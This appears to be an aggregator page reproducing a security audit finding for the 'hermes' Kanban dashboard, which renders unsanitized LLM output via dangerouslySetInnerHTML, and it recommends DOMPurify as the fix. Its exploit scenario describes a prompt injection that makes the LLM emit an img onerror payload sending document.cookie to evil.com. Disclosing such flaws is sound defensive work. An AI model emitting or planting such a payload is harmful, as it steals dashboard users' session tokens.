hermes - 💡(How to fix) Fix [SECURITY] Kanban dashboard XSS via dangerouslySetInnerHTML without HTML sanitization

Official PRs (…)
ON THIS PAGE

Recommended Tools

×6

Utilities matched from this issue’s tags and category — try them while you read without losing context.

GitHub issue graph ai analysis

Paste a GitHub issue URL. We fetch that issue, discover linked issues from bodies/comments/timeline, collect linked pull requests, and produce a structured English report.

The report is written in English Markdown for sharing and archival.

Helpful · Quick feedback

Loading…

The Kanban dashboard renders markdown-processed LLM output directly as raw HTML via React's dangerouslySetInnerHTML without any HTML sanitization. An LLM that outputs malicious HTML/JS (via prompt injection or model hallucination) would execute arbitrary JavaScript in the dashboard viewer's browser.

Root Cause

The Kanban dashboard renders markdown-processed LLM output directly as raw HTML via React's dangerouslySetInnerHTML without any HTML sanitization. An LLM that outputs malicious HTML/JS (via prompt injection or model hallucination) would execute arbitrary JavaScript in the dashboard viewer's browser.

Code Example

import DOMPurify from 'dompurify';
dangerouslySetInnerHTML: { __html: DOMPurify.sanitize(renderMarkdown(props.source || '')) }
RAW_BUFFERClick to expand / collapse

Security Finding — CSO Audit 2026-05-25

Severity: HIGH | Confidence: 9/10 | Status: VERIFIED (PERSISTENT)

Location

plugins/kanban/dashboard/dist/index.js:345 — MarkdownBlock component

Description

The Kanban dashboard renders markdown-processed LLM output directly as raw HTML via React's dangerouslySetInnerHTML without any HTML sanitization. An LLM that outputs malicious HTML/JS (via prompt injection or model hallucination) would execute arbitrary JavaScript in the dashboard viewer's browser.

Exploit Scenario

  1. Attacker crafts a prompt that causes the LLM to output <img src=x onerror=fetch('https://evil.com/?'+document.cookie)> in a task description
  2. LLM returns the malicious content
  3. renderMarkdown() processes it to HTML
  4. dangerouslySetInnerHTML injects it into the DOM
  5. Script executes, exfiltrating dashboard session tokens

Impact

Cross-site scripting (XSS) in the Kanban dashboard. An attacker who can influence LLM output can execute JavaScript in the dashboard context.

Recommendation

Use DOMPurify (or equivalent) to sanitize HTML before rendering. Example:

import DOMPurify from 'dompurify';
dangerouslySetInnerHTML: { __html: DOMPurify.sanitize(renderMarkdown(props.source || '')) }

Prior Report

This finding was first reported on 2026-05-11 (prior CSO audit). It persists in the current codebase.

Vote matrix · Quick signals

Works
Did the solution work? Tap to confirm.
Easy Fix
Was it a quick fix?
Time Saver
Did it save you time?
Blocking
Was it severely blocking?
Common Issue
Are others likely hitting this too?
Flaky / Intermittent
Is it intermittent?
Verified / Reproducible
Can you reproduce it reliably?
Loading…

Still need to ship something?

×6

Another batch ranked right after the header list — different links, same matching logic.

Back to top recommendations

TRENDING